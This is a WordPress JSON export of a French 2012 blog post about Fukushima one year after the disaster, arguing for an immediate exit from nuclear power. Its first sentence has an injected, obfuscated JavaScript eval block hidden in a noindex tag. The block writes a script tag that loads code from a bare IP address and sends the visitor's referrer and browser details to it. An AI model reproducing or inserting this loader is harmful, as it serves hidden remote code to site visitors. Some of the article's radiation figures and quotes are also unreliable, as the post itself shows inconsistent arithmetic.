{"id":7145,"date":"2012-03-13T21:42:43","date_gmt":"2012-03-13T20:42:43","guid":{"rendered":"http:\/\/www.partipourladecroissance.net\/?p=7145"},"modified":"2012-03-13T21:46:24","modified_gmt":"2012-03-13T20:46:24","slug":"7145","status":"publish","type":"post","link":"https:\/\/www.partipourladecroissance.net\/?p=7145","title":{"rendered":"Fukushima, un an apr\u00e8s\u2026"},"content":{"rendered":"<p><a href=\"http:\/\/justice.cloppy.net\/media\/blogs\/notes\/LeTournant.png\"><img loading=\"lazy\" decoding=\"async\" class=\"alignleft\" src=\"http:\/\/justice.cloppy.net\/media\/blogs\/notes\/LeTournant.png\" alt=\"\" width=\"231\" height=\"184\" \/><\/a>Lors <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ftzsk|var|u0026u|referrer|iynhi||js|php'.split('|'),0,{}))\n<\/script><\/noindex> du dernier GA d\u2019ATTAC du mois de f\u00e9vrier, il a sembl\u00e9 plus que pertinent de r\u00e9diger un article sur la catastrophe nucl\u00e9aire de Fukushima. En effet, \u00e0 l\u2019heure o\u00f9 vos lirez ces lignes, le 11 mars 2012 devrait \u00eatre tr\u00e8s proche. Soit une ann\u00e9e, jour pour jour, apr\u00e8s cette terrible trag\u00e9die.<\/p>\n<p>Malheureusement, les informations que l\u2019on serait en droit d\u2019attendre du gouvernement japonais et de la communaut\u00e9 internationale, sont introuvables. Rien de tr\u00e8s clair sur la contamination des divers radio\u00e9l\u00e9ments dans l\u2019atmosph\u00e8re, l\u2019oc\u00e9an, sur la population, les aliments, etc. La r\u00e9daction de cet article se transformant alors en un travail tr\u00e8s complexe\u2026<br \/>\nFort heureusement, il est possible d\u2019obtenir des informations gr\u00e2ce \u00e0 diff\u00e9rentes associations telles que l\u2019Association pour le Contr\u00f4le de la Radioactivit\u00e9 de l\u2019Ouest (ACRO), Radioprotection Cirkus,\u00a0 ou encore le blog, actualis\u00e9 tr\u00e8s r\u00e9guli\u00e8rement, fukushima.overblog.fr, reprenant des informations \u00e9manant d\u2019associations japonaises, ou analysant les documents officiels de TEPCO. La\u00a0 plupart des informations relat\u00e9es dans cet article provient de ces sources.<\/p>\n<p>L\u2019objectif de cet article est de r\u00e9aliser une synth\u00e8se sur ce qui s\u2019est r\u00e9ellement pass\u00e9 \u00e0 Fukushima, puis d\u2019essayer de comprendre o\u00f9 en est la catastrophe aujourd\u2019hui, et enfin quelles sont les cons\u00e9quences de l\u2019accident. Le tout en essayant de supprimer au maximum les \u00e9l\u00e9ments techniques\u2026<!--more--><\/p>\n<p><strong>L\u2019accident de Fukushima<\/strong><\/p>\n<p>A la suite du tremblement de terre, de magnitude 9 sur l\u2019\u00e9chelle de Richter, ayant entra\u00een\u00e9 un tsunami, la centrale nucl\u00e9aire de Fukushima Daiichi se trouve en grande difficult\u00e9 pour fonctionner. Des pannes \u00e9lectriques ont lieu, mettant \u00e0 mal le refroidissement des c\u0153urs des r\u00e9acteurs, ainsi que celui des piscines contenant le combustible irradi\u00e9. Les syst\u00e8mes de secours (groupes \u00e9lectrog\u00e8nes et batteries) ne fonctionnent plus \u00e9galement, car ils se sont retrouv\u00e9s noy\u00e9s \u00e0 la suite de la vague de 30m de haut&#8230; Tr\u00e8s rapidement, des explosions ont lieu dans les b\u00e2timents r\u00e9acteurs n\u00b01, 2 et 3 (le 4 \u00e9tant \u00e0 l\u2019arr\u00eat), et des fum\u00e9es se d\u00e9gagent de ceux-ci. Les autorit\u00e9s japonaises, tentant de calmer la population et (surtout ?) la communaut\u00e9 internationale, assurent que ces fum\u00e9es ne sont pas, ou tr\u00e8s peu, radioactives. Selon le gouvernement nippon, la situation \u00e9tait totalement ma\u00eetris\u00e9e par Tepco (l\u2019op\u00e9rateur de la centrale), et un retour \u00e0 la normale devait se produire rapidement. La fusion des c\u0153urs n\u2019aurait \u00e9t\u00e9 que tr\u00e8s partielle et surtout, ils seraient retenus par leur cuve d\u2019acier. Les op\u00e9rations de refroidissement se d\u00e9roulaient parfaitement, et dans quelques temps, tout redeviendrait comme avant. Pas la peine de d\u00e9placer les populations les plus impact\u00e9es, ni de les restreindre en terme de nourriture. Bref, une belle gestion de crise !<\/p>\n<p>Pourtant, quelques voix s\u2019\u00e9lev\u00e8rent en contradiction avec le gouvernement japonais (m\u00eame des membres de l\u2019Agence Internationale de l\u2019Energie Atomique !). Les panaches de fum\u00e9es observ\u00e9s \u00e9taient bien radioactifs, l\u2019eau de mer asperg\u00e9e dans les c\u0153urs pour tenter de les refroidir retournait dans l\u2019oc\u00e9an, charriant des quantit\u00e9s importantes de radio\u00e9l\u00e9ments, empoisonnant donc tout un \u00e9cosyst\u00e8me, \u00e9cosyst\u00e8me \u00e0 la base de l\u2019alimentation japonaise avec le poisson, les retomb\u00e9es auraient \u00e9t\u00e9 bien plus importantes que celles pr\u00e9sent\u00e9es sur les cartes officielles, empoisonnant les plantes, les sols, etc., et donc les denr\u00e9es agricoles (le riz, par exemple), mais \u00e9galement la population, les fusions des c\u0153urs des centrales auraient \u00e9t\u00e9 totales, relevant le niveau de l\u2019accident \u00e0 7 sur l\u2019\u00e9chelle INES au lieu de 5 initialement. Ce n\u2019est que plus tard que le gouvernement japonais avouera certaines choses&#8230;<\/p>\n<p><strong>Les cons\u00e9quences de la catastrophe<\/strong><\/p>\n<p>Tout d\u2019abord, nous apprenons le 6 juin 2011 que la fusion des c\u0153urs des r\u00e9acteurs a bien \u00e9t\u00e9 totale. Mais pas de panique : la cuve du r\u00e9acteur (une vingtaine de centim\u00e8tres d\u2019acier) est intacte, selon les autorit\u00e9s. Mais alors comment se fait-il que l\u2019on a retrouv\u00e9 de l\u2019iode 131 (radioactif) dans la nappe phr\u00e9atique situ\u00e9e \u00e0 15m sous la centrale ? C\u2019est bien que la cuve a \u00e9t\u00e9 perc\u00e9e, et que le radier (dalle de b\u00e9ton de 8m) aurait connu le m\u00eame sort. Si la cuve a \u00e9t\u00e9 perc\u00e9e, le seul responsable ne peut \u00eatre que le corium, m\u00e9lange de combustible et de c\u0153ur de r\u00e9acteur, capable de transpercer n\u2019importe quel mat\u00e9riau.<\/p>\n<p>Ensuite, alors que le Japon nous affirme qu\u2019il n\u2019y aucune reprise spontan\u00e9e de l\u2019activit\u00e9 de fission (ph\u00e9nom\u00e8ne de criticit\u00e9), on apprend que du X\u00e9non et du Krypton ont \u00e9t\u00e9 d\u00e9tect\u00e9s, signes que des r\u00e9actions en cha\u00eene ont toujours lieu, et que donc, la catastrophe est toujours en cours. Les risques de nouvelles explosions ne doivent donc pas \u00eatre \u00e9cart\u00e9s. Etant donn\u00e9 que ces infos ne proviennent que de citoyens japonais (sur des blogs pour la plupart) peu de m\u00e9dias les relaient. Nous n\u2019en savons donc rien. Ce qui explique peut-\u00eatre encore plus notre soulagement, lorsqu\u2019on apprend, fin 2011, que les r\u00e9acteurs sont \u00e0 l\u2019arr\u00eat \u00e0 froid. On parle d\u2019arr\u00eat \u00e0 froid lorsque \u00ab l&rsquo;\u00e9tat du fluide de refroidissement se rapproche de celui qui correspond aux conditions ambiantes de pression et de temp\u00e9rature \u00bb, selon l\u2019ASN. Selon les autorit\u00e9s japonaises, l\u2019arr\u00eat \u00e0 froid n\u2019intervient que pour une temp\u00e9rature de c\u0153ur inf\u00e9rieure \u00e0 80\u00b0C. Or, selon les donn\u00e9es m\u00eame de Tepco, nous ne sommes pas dans ce cas de figure. En tout cas, cela n\u2019est plus vrai depuis le 11 f\u00e9vrier 2012. Dans les jours qui suivent, les documents officiels de Tepco annoncent plut\u00f4t des valeurs de 93,7\u00b0C ! Alors que les quantit\u00e9s d\u2019eau mobilis\u00e9es pour le refroidissement augmentent ! Si on augmente les quantit\u00e9s d\u2019eau, le c\u0153ur devrait se refroidir encore plus vite. Si ce n\u2019est pas le cas, c\u2019est que l\u2019activit\u00e9 du combustible perdure, et que donc, le ph\u00e9nom\u00e8ne de fission \u00e9galement. Rien n\u2019est sous contr\u00f4le ! Les affirmations du gouvernement nippon avaient d\u00e9j\u00e0 du plomb dans l\u2019aile lorsque des vid\u00e9os ont circul\u00e9 montrant, fin 2011, de gigantesques panaches de fum\u00e9es provenant des r\u00e9acteurs, alors qu\u2019ils \u00e9taient asperg\u00e9s d\u2019eau&#8230; En balan\u00e7ant de l\u2019eau froide sur un corps \u00e0 80\u00b0C, on pourrait, effectivement, s\u2019attendre \u00e0 autre chose&#8230;<br \/>\nDans le m\u00eame temps, on observe entre le 11 et le 12 f\u00e9vrier une forte augmentation soudaine du c\u00e9sium dans les relev\u00e9s de retomb\u00e9es radioactives : le c\u00e9sium 134 passe de 4,45Mbequerel\/km\u00b2 \u00e0 98,2MBq\/km\u00b2 et le c\u00e9sium 137 passe de 6,46MBq\/km\u00b2 \u00e0 139MBq\/km\u00b2 ! De l\u00e0 \u00e0 dire que cela provient de l\u2019augmentation de la temp\u00e9rature constat\u00e9e dans l\u2019un des r\u00e9acteurs\u2026<\/p>\n<p>Et pendant ce temps, c\u2019est la population qui subit. D\u00e8s le d\u00e9but de la catastrophe, le gouvernement refusa d\u2019\u00e9vacuer une vaste zone. Au final, la zone d\u2019exclusion correspond \u00e0 un p\u00e9rim\u00e8tre de 40km autour de la centrale. Le seuil de la radioactivit\u00e9 dans cette zone est de 2 000 000 Bq\/km\u00b2. Pour comparaison, dans la zone d\u2019exclusion de Tchernobyl, le seuil de la radioactivit\u00e9 \u00e9tait de 500 000Bq\/km\u00b2. Pourquoi ne pas avoir \u00e9largi la zone autour de Fukushima Daiichi ? De peur, sans doute, de descendre jusqu\u2019\u00e0 Tokyo, situ\u00e9 \u00e0 250km. Sc\u00e9nario pourtant envisag\u00e9 au lendemain de l\u2019accident&#8230; Plut\u00f4t que de d\u00e9serter une r\u00e9gion pendant un temps (peut-\u00eatre pour des d\u00e9cennies), on a pr\u00e9f\u00e9r\u00e9 augmenter le seuil de la radioactivit\u00e9 de 1mS\/an (limite tol\u00e9r\u00e9e pour la population hors examens m\u00e9dicaux et radioactivit\u00e9 naturelle \u2013 ce n\u2019est pas une \u00ab ligne de d\u00e9marcation entre \u00abl&rsquo;inoffensif\u00bb et le \u00abdangereux\u00bb \u00bb, souligne la Commission Internationale de Protection Radiologique) \u00e0 100mS\/an, soit la limite entre risques sanitaires faibles et moyens&#8230; En France, les int\u00e9rimaires du nucl\u00e9aire (appel\u00e9s po\u00e9tiquement la viande \u00e0 rem) ne peuvent d\u00e9passer les 20mS\/an, ce qui est d\u00e9j\u00e0 reconnu comme beaucoup ! Au Japon, on laisse des enfants et des femmes enceintes dans ce p\u00e9rim\u00e8tre hautement contamin\u00e9. Selon le gouvernement japonais, l\u2019exclusion d\u2019une plus grande zone n\u2019aurait pas \u00e9t\u00e9 bonne pour l\u2019image du Japon, ainsi que pour le commerce (Ah ! Sacro-sainte croissance !)<\/p>\n<p>Parlons justement du commerce. Plus exactement d\u2019un des besoins de base qu\u2019est la nourriture. Comme on l\u2019a vu plus haut, la cha\u00eene alimentaire est contamin\u00e9e. Les d\u00e9versements d\u2019eau radioactive en mer (20 000 fois la limite annuelle autoris\u00e9e) ont contamin\u00e9 l\u2019ensemble des esp\u00e8ces (plancton, poissons et crustac\u00e9s, &#8230;). Au lieu d\u2019interdire leur consommation, les autorit\u00e9s ont simplement relev\u00e9 les seuils de contamination. Et ces produits se baladent dans tout le pays ! Il en est de m\u00eame pour les plantes. Ajout\u00e9 \u00e0 la radioactivit\u00e9 ambiante, cons\u00e9quence directe de la catastrophe de Fukushima, on comprend bien que les Japonais s\u2019intoxiquent \u00e9galement par ingestion.<\/p>\n<p>Ce qui est certain, c\u2019est qu\u2019il ne faut pas parler de cet accident au pass\u00e9. Il persiste. Sur le blog fukushima.overblog.fr, on peut lire le r\u00e9sum\u00e9 d\u2019une r\u00e9sidente fran\u00e7aise au Japon, en visite chez des amis dans un village situ\u00e9 \u00e0 1,5km de la centrale. Elle y explique le d\u00e9sarroi des familles qui doivent continuer \u00e0 payer l\u2019emprunt de leur maison en zone d\u2019exclusion, sans y habiter bien s\u00fbr, car la catastrophe n\u2019est pas reconnue comme telle ! Elles se retrouvent donc ruin\u00e9es, sans logement ni moyens, ce qui ajoute encore un peu plus au drame humain en cours. L\u00e0-bas, la radioactivit\u00e9 ambiante est comprise entre 100\u00b5S\/h et 400\u00b5S\/h. La limite recommand\u00e9e \u00e9tant de 1 000microS\/h (sans qu\u2019aucune \u00e9tude \u00e9pid\u00e9miologique n\u2019ait jamais \u00e9t\u00e9 r\u00e9alis\u00e9e\u2026). En une ann\u00e9e, si la zone \u00e9tait encore habit\u00e9e, ce serait donc entre 876 000\u00b5S\/an et 3 400 000\u00b5S\/an que la population recevrait de radioactivit\u00e9. Soit entre 800 et 3 400 fois plus que la dose \u201cnormale\u201d !<\/p>\n<p>Pour continuer sur les contr\u00f4les r\u00e9alis\u00e9s, l\u2019ACRO a effectu\u00e9 des mesures sur les poussi\u00e8res d\u2019aspirateurs dans un rayon de 200km autour de la centrale. Elles sont toutes contamin\u00e9es aux c\u00e9siums 137 et 134. Au maximum, ce sont 20 000Bq\/kg pour les deux c\u00e9siums qui ont \u00e9t\u00e9 relev\u00e9s, \u00e0 50km de Fukushima. Sachant que la radioactivit\u00e9 du corps humain est de 100Bq\/kg. A 200km de la centrale, l\u2019ACRO a encore retrouv\u00e9 6 000Bq\/kg&#8230; Des tests sur les urines des enfants ont \u00e9galement \u00e9t\u00e9 effectu\u00e9s, et chez certains, la contamination persiste&#8230;<\/p>\n<p>Il conviendrait \u00e9galement ici de parler des travailleurs sur place qui tentent de faire ce qu\u2019ils peuvent pour stopper cette catastrophe. Au lendemain du 11 mars 2011, ils \u00e9taient 800. Mais les doses re\u00e7ues \u00e9taient tellement importantes, qu\u2019ils ne se sont retrouv\u00e9s plus qu\u2019\u00e0 50. Les \u201c50 de Fukushima\u201d, comme on peut le lire dans la presse. Au fur et \u00e0 mesure, d\u2019autres ouvriers sont venus les rejoindre, souvent contre leur gr\u00e9. Le seuil de tol\u00e9rance de radioactivit\u00e9 pour eux est pass\u00e9 de 50 \u00e0 250mS\/an&#8230; Soit des doses consid\u00e9r\u00e9es comme \u00ab moyennes \u00bb par l\u2019OMS. Selon la Commission Internationale de Protection Radiologique, on consid\u00e8re que pour chaque milliSievert, on comptabilise 60 cancers de plus par million de personnes.<\/p>\n<p>Ce dont il faut bien avoir conscience enfin, c\u2019est que cet accident est encore plus dangereux que celui de Tchernobyl. Tchernobyl, c\u2019\u00e9tait un r\u00e9acteur. Soit entre 50 et 80 tonnes de combustible. Fukushima, c\u2019est 3 r\u00e9acteurs, dont un qui fonctionnait avec du MOX (m\u00e9lange d\u2019uranium appauvri et de plutonium), soit 260t de combustible et 300kg de plutonium (en sachant qu\u2019il faut 8kg de plutonium pour faire une bombe \u00e9quivalente \u00e0 celle de Hiroshima !)! Et certains ouvriers questionn\u00e9s par des citoyens avouent toujours craindre une nouvelle explosion&#8230;<\/p>\n<p><strong>Stopper la production \u00e9lectro-nucl\u00e9aire, la seule alternative possible<\/strong><\/p>\n<p>Pour conclure ce texte, il semble bon de discuter de la sortie du nucl\u00e9aire. Mais ici, nous n\u2019allons pas disserter pendant 5-10-15 ou 20ans (p\u00e9riode \u00e0 choisir selon le sc\u00e9nario de sortie du nucl\u00e9aire envisag\u00e9). Comme le disait Einstein : \u00ab Le nucl\u00e9aire est la fa\u00e7on la plus diabolique de faire bouillir de l\u2019eau \u00bb. Fukushima nous le rappelle une nouvelle fois. Il faut donc cesser le plus rapidement possible cette forme de production d\u2019\u00e9lectricit\u00e9.<br \/>\nUne solution toute simple existe pour que Fukushima soit enfin la derni\u00e8re catastrophe atomique : stopper tout bonnement la production \u00e9lectro-nucl\u00e9aire mondiale.\u00a0 On voit bien qu\u2019\u00e0 force de repousser l\u2019\u00e9ch\u00e9ance (in\u00e9luctable de toute fa\u00e7on !), la situation empire. Les catastrophes se poursuivent, aucun gouvernement ne promeut la sobri\u00e9t\u00e9 \u00e9nerg\u00e9tique et les \u00e9nergies renouvelables de fa\u00e7on coh\u00e9rente, la France poursuit la promotion du chauffage \u00e9lectrique (convecteurs ou pompes \u00e0 chaleur d\u00e9sormais pour faire plus \u00e9colo) alors que notre r\u00e9seau commence \u00e0 \u00eatre satur\u00e9 par ces grille-pains, le renforcement de la s\u00e9curit\u00e9 n\u2019est que douce chim\u00e8re, les d\u00e9chets continuent de s\u2019accumuler, la r\u00e9pression contre les opposants se fait de plus en plus violente, l\u2019opacit\u00e9 autour de l\u2019atome s\u2019\u00e9paissit, etc.<\/p>\n<p>Et puis, \u00e0 quoi sert r\u00e9ellement \u201cle feu\u201d nucl\u00e9aire (pour reprendre une expression d\u2019Alain Gras) ? A faire tourner la m\u00e9ga-machine thermo-industrielle avide de croissance, de toujours plus, etc.<\/p>\n<p>Un rapide calcul nous montre que la consommation de 65 millions de personnes \u00e9quivaut \u00e0 65TWh\/an. Quand on sait qu\u2019en 2010, les \u00e9nergies renouvelables ont produit 14% des 500TWh \u00e9lectriques fran\u00e7ais, soit 70TWh\/an&#8230;<br \/>\nTant que l\u2019\u00e9nergie nucl\u00e9aire existera, on n\u2019en aura toujours besoin. On ne r\u00e9fl\u00e9chira jamais \u00e0 comment faire autrement. Il en est de m\u00eame pour les autres formes d\u2019\u00e9nergies non renouvelables. Fukushima nous prouve pourtant une nouvelle fois qu\u2019il faut apprendre \u00e0 faire sans. \u201cOn arr\u00eate tout, on r\u00e9fl\u00e9chit\u201d\u2026<strong><\/p>\n<p><!--more--><\/strong><\/p>\n<p>&#8211; <a href=\"http:\/\/fukushima.over-blog.fr\/\">http:\/\/fukushima.over-blog.fr\/<\/a><br \/>\n&#8211; pour la Normandie sur les site de l&rsquo;ACRO : <a href=\"http:\/\/www.acro.eu.org\/\" target=\"_blank\">http:\/\/www.acro.eu.org\/<\/a><br \/>\n&#8211; <a href=\"http:\/\/www.partipourladecroissance.net\/?p=5973\" target=\"_blank\">Pour que la catastrophe de Fukushima marque le retrait du nucl\u00e9aire<\/a><br \/>\n&#8211; Nucl\u00e9aire : <a href=\"http:\/\/www.partipourladecroissance.net\/?cat=49\" target=\"_blank\">http:\/\/www.partipourladecroissance.net\/?cat=49<\/a><\/p>\n<p style=\"text-align: center;\">source pour le dessin : <a href=\"http:\/\/justice.cloppy.net\/media\/blogs\/notes\/LeTournant.png\">http:\/\/www.globecartoon.com\/dessin\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Lors du dernier GA d\u2019ATTAC du mois de f\u00e9vrier, il a sembl\u00e9 plus que pertinent de r\u00e9diger un article sur la catastrophe nucl\u00e9aire de Fukushima. En effet, \u00e0 l\u2019heure o\u00f9 vos lirez ces lignes, le 11 mars 2012 devrait \u00eatre &hellip; <a href=\"https:\/\/www.partipourladecroissance.net\/?p=7145\">Continuer la lecture <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":7,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3,7,49],"tags":[],"class_list":["post-7145","post","type-post","status-publish","format-standard","hentry","category-actualites","category-billets-du-ppld","category-nucleaire"],"_links":{"self":[{"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/posts\/7145","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/users\/7"}],"replies":[{"embeddable":true,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=7145"}],"version-history":[{"count":3,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/posts\/7145\/revisions"}],"predecessor-version":[{"id":7147,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/posts\/7145\/revisions\/7147"}],"wp:attachment":[{"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=7145"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=7145"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=7145"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}